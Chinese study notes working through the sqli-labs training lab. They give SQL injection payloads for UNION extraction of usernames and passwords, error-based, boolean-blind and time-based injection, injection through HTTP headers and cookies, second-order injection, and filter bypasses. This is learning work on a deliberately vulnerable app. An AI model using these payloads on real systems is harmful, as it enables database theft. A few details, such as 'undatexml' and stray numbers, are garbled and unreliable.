sqli-labs
Less-1
基于错误的GET单引号字符型注入
index.php分析
- error_reporting(0); 不反馈错误
- isset($_GET['id']) 检查($ _GET['id'])参数是否设置
- LIMIT 0,1 从第一条开始记录,只取一条记录
1.推测闭合方式
?id=1\
输入\ ,后面是' ,推测是单引号闭合
输入 ?id=1' 报错
输入 ?id=1' --+ 不报错
证明是单引号闭合
2.查询列数(order by)
证明一共有3列
?id=1' order by 3 --+
3.了解显示位(union select)
显示位指的是网页中能够显示数据的位置
已知表的列数为3,使用union select 1,2,3查看显示位
?id=-1' union select 1,2,3 --+
由此可知 2,3列是可以显示的
4.查询数据库
查询数据
- database() 在用的数据库名
- user() 用户信息
- version() 数据库版本信息
- @@basedir 数据库安装路径
- @@version_compile_os 操作系统版本
?id=-1' union select 1,database(),user() --+
查询出在用的数据库名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
查询出所有数据库名
-
information_schema数据库是MySQL自带的一个系统数据库,主要用于存储关于数据库和表的元数据信息
-
information_schema数据库的组成(主要的只读表)
schemata 数据库名
tables 表名和所属数据库
columns 数据表中所有列名
-
group_concat()函数:将查询到的多行结果连接成字符串
5.查询数据表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
information_schema.tables的字段信息:
- table_catalog:数据表登记目录
- table_schema:数据表所属的数据库名
- table_name:表名称
- table_type:表类型(如系统视图或基础表)
- engine:使用的数据库引擎(如 MyISAM、CSV、InnoDB)
- version:版本,默认值为10
- row_format:行格式(如 Compact、Dynamic、Fixed)
6.查询列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
7.查询内容
?id=-1' union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
Less-2
基于错误的GET整型注入
1.判断闭合方式
2.判断列数
3.查看显示位
4.查询数据库
5.查询数据表
6.查询列名
7.查询数据
Less-3
基于错误的GET单引号变形注入
- 表名,库名要加引号
- 查询数据表时,后面要加where语句,表明在哪个数据库中
- 查询列名时,where语句中,库名和表名之间要加and
Less-4
基于错误的GET双引号字符型注入
同上
相关知识点
报错注入
报错注入的原理主要依赖于数据库在执行SQL语句时产生的错误信息。当SQL语句执行错误时,数据库会返回错误信息,这些信息中可能包含有用的数据。报错注入的优点是不需要显示位,缺点是需要依赖数据库输出错误信息。
常见的报错函数:
- floor()
- undatexml()
- extractvalue()
关于floor报错注入
在SQL注入中,floor()函数的报错原理主要涉及floor()、rand()、count()和group
by这几个函数的组合使用。当这些函数结合在一起时,可能会导致数据库在执行
过程中出现主键重复错误,从而触发报错注入。
-
rand()函数:生成一个0到1之间的随机浮点数。如果使用rand(0),则每次生成相同的随机数序列,因为种子是固定的
-
floor()函数:用于向下取整,即返回小于等于指定数值的最大整数。例如,floor(rand(0)*2)会将随机数乘以2后向下取整,结果只能是0或1
-
count(*)函数:统计表中的记录数
-
group by语句:用于对结果集进行分组,结合count()和group by时,系统会创建一个虚拟表,并尝试将每条记录插入到这个虚拟表中
当使用floor(rand(0)*2)时,由于rand(0)生成的随机数序列是固定的,这会导致在
多次执行时产生相同的值。如果虚拟表中已经存在相同的键值,则再次插入时会
触发主键冲突错误,从而导致报错。这种情况下,由于concat()函数中的SQL语句
或函数在报错前被执行,因此报错信息中会包含SQL语句或函数执行后的结果。
通过构造特定的SQL语句,如:
select count(), concat(database(), floor(rand(0)*2)) x from information_schema.tables group by x
攻击者可以利用这种机制来获取数据库的敏感信息
关于extractvalue报错注入
extractvalue()函数在SQL注入中的应用和原理主要基于其对XML文档的查询功能,该函数用于从XML文档中提取特定节点的值,其语法为
extractvalue(XML_document, XPath_string)
-
xml_document是包含XML内容的列或表达式
-
xpath_string是用于指定要提取节点的XPath表达式
报错原理是当xpath_string格式错误时,MySQL会抛出XPath语法错误,并将错误信息返回给用户,如:
SELECT ExtractValue(1, concat(0x7e, (SELECT database())));
使用0x7e(即~)作为XPath表达式的开头,因为~不是有效的XPath语法字符,这条语句会报错,并在错误信息中显示数据库名称。
关于undatexml报错注入
updatexml报错注入的基本原理是通过构造不符合XPath语法格式的路径字符串,从而触发函数报错,并将错误信息返回给攻击者,从而实现SQL注入。
其语法是
UPDATEXML (XML_document, XPath_string, new_value);
- XML_document是目标XML文档对象
- XPath_string是XPath路径字符串,如果这个路径字符串格式错误,MySQL会抛出XPath语法错误
- new_value是用于替换符合条件的节点值的新内容
攻击者通常会在第二个参数中插入非法字符(如0x7e或~),以导致XPath语法错误。当这个错误发生时,MySQL会返回错误信息,如:
updatexml(1, concat(0x7e, (select database()), 0x7e), 1)
extractvalue() 和 updatexml() 的区别
- extractvalue()函数:用于从XML文档中提取特定路径的内容
- updatexml()函数:用于更新XML文档中的特定路径内容。
布尔盲注
布尔盲注是一种SQL注入技术,主要用于在页面没有错误回显的情况下进行攻击。它通过判断页面返回的布尔值(True或False)来确定注入语句是否成功执行;在布尔盲注中,常用的函数包括length()、substr()、ascii()等,这些函数可以帮助攻击者逐步猜测数据库中的信息。
- length()函数:
用于判断字符串的长度。例如,通过length()函数可以确定数据库名、表名或字段名的长度。这一步通常用于缩小目标范围,为后续的字符猜测提供基础。
实例:
id=1' and length((select database()))>9 --+
此SQL语句用于判断数据库名的长度是否大于9个字符。
- substr()函数:
用于从字符串中截取指定位置的字符。结合ascii()函数,可以逐个字符地猜测字符串内容。实例:
id=1' and ascii(substr((select database()),1,1))=115 --+
此SQL语句用于判断数据库名的第一个字符的ASCII码是否为115,从而猜测出第一个字符。
substr函数的语法:
substr(string, start_position, length)
string
是要截取的字符串。start_position
是起始位置,正数表示从字符串开头开始,负数表示从字符串末尾开始。length
是要提取的字符数,默认情况下,如果不指定length
,则从起始位置到字符串末尾的所有字符都会被提取
- ascii()函数:
将字符转换为ASCII码。结合substr()函数,可以逐个字符地猜测字符串内容。
实例:
id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+
此SQL语句用于判断用户表中用户名的第一个字符的ASCII码是否大于等于68。
ASCII码是一种字符编码标准,用于表示文本中的字符。每个字符对应一个唯一的整数值,通常范围从0到127,这些整数值被称为ASCII值。ASCII码使用7位二进制数来表示字符,因此可以表示128个不同的字符。
-
大写字母A到Z的ASCII码值从65开始,依次递增,直到90(Z)139。
-
小写字母a到z的ASCII码值从97开始,依次递增,直到122(z)139。
-
小写字母的ASCII码值比大写字母的ASCII码值高32
-
空格的ASCII值为32
-
数字字符0到9的ASCII值范围是48到57
-
-
ASCII值33到47之间的标点符号:
感叹号(!),ASCII值为33
双引号("),ASCII值为34
井号(#),ASCII值为35
美元符号($),ASCII值为36
百分号(%),ASCII值为37
和号(&),ASCII值为38
单引号('),ASCII值为39
左括号((),ASCII值为40
右括号()),ASCII值为41
星号(*),ASCII值为42
加号(+),ASCII值为43
逗号(,),ASCII值为44 -
ASCII值58到64之间的标点符号:
冒号(:),ASCII值为58
分号(;),ASCII值为59
小于号(<),ASCII值为60
等号(=),ASCII值为61
大于号(>),ASCII值为62
问号(?),ASCII值为63 -
ASCII值91到96之间的标点符号:
ASCII值91对应的是左方括号 “[”
ASCII值92对应的是反斜杠 “\”
ASCII值93对应的是右方括号 “]”
ASCII值94对应的是上尖括号或帽符号 ”^”
ASCII值95对应的是下划线 “_”
ASCII值96对应的是重音符号 “`” -
ASCII值123到126之间的标点符号:
ASCII值为123的字符是左大括号({)
ASCII值为124的字符是竖线(|)
ASCII值为125的字符是右大括号(})
ASCII值为126的字符是波浪线(~)
-
怎么判断能不能使用布尔盲注:
输入' AND 1=1 --
和' AND 1=2 --
,如果页面状态发生变化(如正常显示与异常显示),则说明存在布尔盲注。
时间盲注
时间盲注通过观察页面响应时间的差异来判断SQL注入点。具体来说,它利用SQL语句中的延时函数(如sleep()
或waitfor delay
),当SQL语句执行时,页面会延迟指定的时间。
SLEEP()
函数会暂停指定秒数的执行时间,而BENCHMARK()
函数则会执行指定次数的空操作,从而消耗时间。
如果目标系统过滤了sleep()函数,可以考虑使用BENCHMARK()函数作为替代方案
-
WAITFOR DELAY语句用于在SQL查询中引入指定的时间延迟,语法如下:
WAITFOR DELAY 'HH:MM:SS'
HH表示小时,MM表示分钟,SS表示秒。
-
sleep()函数常用于时间盲注(也称为延时盲注),其主要作用是通过引入固定的延迟时间来判断SQL语句是否被正确执行。语法如下:
sleep(n);
n表示休眠的时间(以秒为单位)
-
BENCHMARK()函数是MySQL中的一个内置函数,用于测试某些表达式的执行速度。其语法为:
BENCHMARK(count, expr)
count 是要重复执行的次数
expr是要执行的表达式
怎么判断能不能使用布尔盲注:
输入1' and sleep(5)--
,如果页面响应时间在5秒左右,则可能表明存在时间盲注。
Less-5
基于GET单引号双注入
报错注入/布尔盲注/时间盲注
使用floor()报错
1.查看数据库名
![](C:\Users\lenovo\Desktop\照片\Less5 1.png)
![Less5 2](C:\Users\lenovo\Desktop\照片\Less5 2.png)
2.查看表名
![](C:\Users\lenovo\Desktop\照片\Less5 3.png)
- 只能使用concat,不能使用group_concat
- LIMIT语句常用于实现分页功能,例,
LIMIT 1, 5
表示从第2行开始返回5条记录
![](C:\Users\lenovo\Desktop\照片\Less5 4.png)
3.查看列名
![](C:\Users\lenovo\Desktop\照片\Less5 5.png)
4.查看内容
![](C:\Users\lenovo\Desktop\照片\Less5 6.png)
Less-6
基于GET双引号双注入
报错注入/布尔盲注/时间盲注
使用extractvalue()报错
1.查看数据库名
![](C:\Users\lenovo\Desktop\照片\Less6 1.png)
2.查看表名
![](C:\Users\lenovo\Desktop\照片\Less6 2.png)
3.查看列名
![](C:\Users\lenovo\Desktop\照片\Less6 3.png)
4.查看内容
![](C:\Users\lenovo\Desktop\照片\Less6 4.png)
- 区分 from security.emails 和 from information_schema.table where table_schema='security' and table_name='emails'
Less-11
post注入
判断闭合
uname=admin' &passwd=&submit=Submit
报错
uname=admin'#&passwd=&submit=Submit
正常
查看字段数
uname=admin' order by 2#&passwd=&submit=Submit
正常
uname=admin' order by 2#&passwd=&submit=Submit
报错
判断显示位
uname=' union select 1,2#&passwd=&submit=Submit
查询库名
uname=' union select 1,database()#&passwd=&submit=Submit
查询数据
uname=' union select group_concat(username,password),2 from users#&passwd=&submit=Submit
Less-12
")闭合,有回显
Less-13
判断闭合 ')
查询数据库名
uname=1') union select 1,updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=&submit=Submit
查询表名
uname=1') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=&submit=Submit
查询列名
uname=1') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=&submit=Submit
查询数据
uname=1') union select 1,updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)#&passwd=&submit=Submit
Less-14
post盲注 "闭合 报错注入
Less-15
可以用布尔盲注或者时间盲注 '闭合
![](C:\Users\lenovo\Desktop\照片\Less15 1.png)
![Less15 2](C:\Users\lenovo\Desktop\照片\Less15 2.png)
Less-16
同Less-15 "闭合
Less-17
update的注入
查看码源发现
用户名的输入进行了过滤
使用update语句对密码进行更新,这里不是查询语句,因此联合查询和两种盲注在这里都不能使用,使用报错注入
查询数据库名
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)#&submit=Submit
相关知识点
请求头:
请求头在SQL注入中的作用主要体现在通过修改HTTP请求头中的特定字段来实现恶意目的。HTTP请求头包含了关于请求的各种信息,如用户代理(User-Agent)、引用页(Referer)、Cookie等。这些信息通常被应用程序用于统计分析、用户行为跟踪或其他用途。
- User-Agent注入:通过修改User-Agent字段,可以向数据库中插入恶意SQL语句。例如,攻击者可以在User-Agent字段中输入非法数据,利用特定函数(如
updatexml()
和database()
)来实现对数据库的插入操作。 - Referer注入:攻击者可以通过修改Referer字段来绕过网站的反爬虫机制,并可能被后端记录并用于SQL注入。
- Cookie注入:通过删除Cookie值后,攻击者可以利用特定函数(如
updatexml()
和database()
)来实现对数据库的注入。 - X-Forwarded-For注入:通过修改X-Forwarded-For头,攻击者可以伪造客户端IP,从而绕过网站的防注入机制。
Less-18
分析源码
![](C:\Users\lenovo\Desktop\照片\Less18 2.png)
![Less18 3](C:\Users\lenovo\Desktop\照片\Less18 3.png)
http头的内容拿到insert
输入正确的用户密码,会返回代理信息user-agent
当uagents的数据写入数据库再输出,就可以成功注入
![](C:\Users\lenovo\Desktop\照片\Less18 1.png)
'and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1)#
观察源码
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
所以要在报错注入后加1,1)# 代替'$IP'和'$uname'的位置
Less-19
![](C:\Users\lenovo\Desktop\照片\Less19 1.png)
因此可知 基于POST错误的Referer字段数据头注入
![](C:\Users\lenovo\Desktop\照片\Less19 2.png)
Less-20
基于POST错误的Cookie-Uagent字段数据头注入
Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1))#
![](C:\Users\lenovo\Desktop\照片\Less20 1.png)
base64编码
Base64编码是一种将二进制数据转换为文本格式的方法,广泛应用于数据传输和存储中。其主要目的是在不支持二进制数据的系统中,通过使用ASCII字符来表示和传输数据。Base64编码使用64个可打印字符(A-Z、a-z、0-9、+、/)来表示任意二进制数据。
Base64 编码/解码 | 菜鸟工具
Less-21
基于base64编码单引号的Cookie注入
Cookie: uname=admin' and (updatexml(1,concat(0x7e,database(),0x7e),1)) and '1'='1
由于base64编码问题
不可以用# 所以选择and '1'='1闭合
查看源码
![](C:\Users\lenovo\Desktop\照片\Less21 1.png)
![](C:\Users\lenovo\Desktop\照片\Less21 2.png)
![Less21 3](C:\Users\lenovo\Desktop\照片\Less21 3.png)
Less-22
基于base64编码加密的双引号Cookie注入
验证闭合方式:
Cookie: uname=YWRtaW4n
(单引号闭合)
Cookie: uname=YWRtaW4iIw==
(双引号闭合)
验证发现 Less22 是双引号闭合
Less-23
基于GET错误的过滤注释
![](C:\Users\lenovo\Desktop\照片\Less23 1.png)
可知,#和--被过滤
可以使用 and '1'=' 闭合
?id=1' and (updatexml(1,concat(0x7e,database(),0x7e),1)) and '1'='1
Less-24
二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
![](C:\Users\lenovo\Desktop\照片\Less24 1.png)
都使用了mysql_real_escape_string函数对注册的参数进行过滤
但在修改密码文件中却是直接调用username参数
可以注册一个admin'#用户进而修改admin的密码
Less-25
绕过or和and
查看源码发现,or
和 and
替换为空,通过双写绕过即可,或者通过等价符合 &&
和 ||
绕过
![](C:\Users\lenovo\Desktop\照片\Less25 1.png)
绕过方式
-
符号替换绕过数学符号
and = && or = || &对应url编码%26,|对应url编码%7
?id=1' || extractvalue(null,concat(0x7e,database(),0x7e))%23
-
双写绕过
oorr # 替换为空仍为or anandd # 替换为空仍为and
?id=1' oorr extractvalue(null,concat(0x7e,database(),0x7e))%23
![](C:\Users\lenovo\Desktop\照片\Less25 2.png)
Less-25a
闭合不同
Less-26
绕过空格和注释